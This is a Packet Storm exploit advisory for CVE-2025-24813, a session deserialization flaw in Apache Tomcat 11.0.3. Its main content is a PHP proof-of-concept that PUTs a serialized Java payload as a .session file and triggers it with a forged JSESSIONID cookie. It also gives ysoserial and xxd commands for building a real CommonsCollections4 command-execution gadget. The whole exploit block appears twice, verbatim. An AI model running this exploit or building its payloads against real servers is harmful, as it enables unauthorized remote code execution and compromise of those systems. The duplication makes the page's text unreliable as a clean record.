10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
A vulnerability in Apache Tomcat version 11.0.3 allows attackers to upload a .session file containing a malicious Java serialized payload and then trigger it through a forged JSESSIONID cookie...
Basic Information
ID
PACKETSTORM:212102
Published
Nov 26, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Apache Tomcat 11.0.3 Remote Session Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://tomcat.apache.org/ |
=============================================================================================================================================
[+] Summary :
A vulnerability allows attackers to upload a .session file containing a malicious Java serialized payload and then trigger it through a forged JSESSIONID cookie.
[+] References : ( CVE-2025-24813 )
1. Save the file as: poc.php
2. Edit the target:
```php
$target = "http://TARGET";
3.Execute: php poc.php
[+] POC
<?php
/*
CVE-2025-24813 – PHP Exploit
Author: Indoushka
Packet Storm Security
*/
function rand_filename($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$name = '';
for ($i = 0; $i < $length; $i++) {
$name .= $chars[random_int(0, strlen($chars)-1)];
}
return $name;
}
function generate_payload($interact_url) {
// Java Serialized payload (replace with your custom gadget)
return "\xac\xed\x00\x05\x73\x72\x00\x04\x44\x75\x6d\x6d\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x78\x70";
}
function exploit($target, $interact_url) {
$filename = rand_filename();
$put_url = $target . "/" . $filename . ".session";
$get_url = $target . "/" . $filename;
echo "[+] Exploit for CVE-2025-24813\n";
echo "[+] By Indoushka\n\n";
echo "[+] Uploading payload to: $put_url\n";
$payload = generate_payload($interact_url);
$headers = [
"Content-Range: bytes 0-452/457",
"Content-Type: application/octet-stream"
];
$opts = [
'http' => [
'method' => "PUT",
'header' => implode("\r\n", $headers),
'content' => $payload,
'ignore_errors' => true
]
];
$context = stream_context_create($opts);
$result = @file_get_contents($put_url, false, $context);
preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $m);
$status = $m[1];
if ($status == 201) {
echo "[+] Payload uploaded successfully.\n";
} else {
echo "[-] Upload failed with status: $status\n";
return;
}
echo "[+] Triggering payload via: $get_url\n";
$opts2 = [
'http' => [
'method' => "GET",
'header' => "Cookie: JSESSIONID=.$filename\r\n",
'ignore_errors' => true
]
];
$context2 = stream_context_create($opts2);
@file_get_contents($get_url, false, $context2);
echo "[+] Trigger request sent. Check your Interactsh callback: $interact_url\n";
}
// ====== Interactive Shell ======
echo "[+] Exploit for CVE-2025-24813\n";
echo "[+] Made By Indoushka\n\n";
echo "Target URL: ";
$target = trim(fgets(STDIN));
echo "Interact URL: ";
$interact = trim(fgets(STDIN));
exploit($target, $interact);
?>
------------
Generating a gadgets chain:
Generate a Commons-Collections-4 payload to execute the command: whoami
java -jar ysoserial.jar CommonsCollections4 "whoami" > payload.bin
Convert it to hex or base64 for input into PHP : xxd -p payload.bin
Place it where: return "<hex serialized bytes>";
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Apache Tomcat 11.0.3 Remote Session Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://tomcat.apache.org/ |
=============================================================================================================================================
[+] Summary :
A vulnerability allows attackers to upload a .session file containing a malicious Java serialized payload and then trigger it through a forged JSESSIONID cookie.
[+] References : ( CVE-2025-24813 )
1. Save the file as: poc.php
2. Edit the target:
```php
$target = "http://TARGET";
3.Execute: php poc.php
[+] POC
<?php
/*
CVE-2025-24813 – PHP Exploit
Author: Indoushka
Packet Storm Security
*/
function rand_filename($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$name = '';
for ($i = 0; $i < $length; $i++) {
$name .= $chars[random_int(0, strlen($chars)-1)];
}
return $name;
}
function generate_payload($interact_url) {
// Java Serialized payload (replace with your custom gadget)
return "\xac\xed\x00\x05\x73\x72\x00\x04\x44\x75\x6d\x6d\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x78\x70";
}
function exploit($target, $interact_url) {
$filename = rand_filename();
$put_url = $target . "/" . $filename . ".session";
$get_url = $target . "/" . $filename;
echo "[+] Exploit for CVE-2025-24813\n";
echo "[+] By Indoushka\n\n";
echo "[+] Uploading payload to: $put_url\n";
$payload = generate_payload($interact_url);
$headers = [
"Content-Range: bytes 0-452/457",
"Content-Type: application/octet-stream"
];
$opts = [
'http' => [
'method' => "PUT",
'header' => implode("\r\n", $headers),
'content' => $payload,
'ignore_errors' => true
]
];
$context = stream_context_create($opts);
$result = @file_get_contents($put_url, false, $context);
preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $m);
$status = $m[1];
if ($status == 201) {
echo "[+] Payload uploaded successfully.\n";
} else {
echo "[-] Upload failed with status: $status\n";
return;
}
echo "[+] Triggering payload via: $get_url\n";
$opts2 = [
'http' => [
'method' => "GET",
'header' => "Cookie: JSESSIONID=.$filename\r\n",
'ignore_errors' => true
]
];
$context2 = stream_context_create($opts2);
@file_get_contents($get_url, false, $context2);
echo "[+] Trigger request sent. Check your Interactsh callback: $interact_url\n";
}
// ====== Interactive Shell ======
echo "[+] Exploit for CVE-2025-24813\n";
echo "[+] Made By Indoushka\n\n";
echo "Target URL: ";
$target = trim(fgets(STDIN));
echo "Interact URL: ";
$interact = trim(fgets(STDIN));
exploit($target, $interact);
?>
------------
Generating a gadgets chain:
Generate a Commons-Collections-4 payload to execute the command: whoami
java -jar ysoserial.jar CommonsCollections4 "whoami" > payload.bin
Convert it to hex or base64 for input into PHP : xxd -p payload.bin
Place it where: return "<hex serialized bytes>";
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================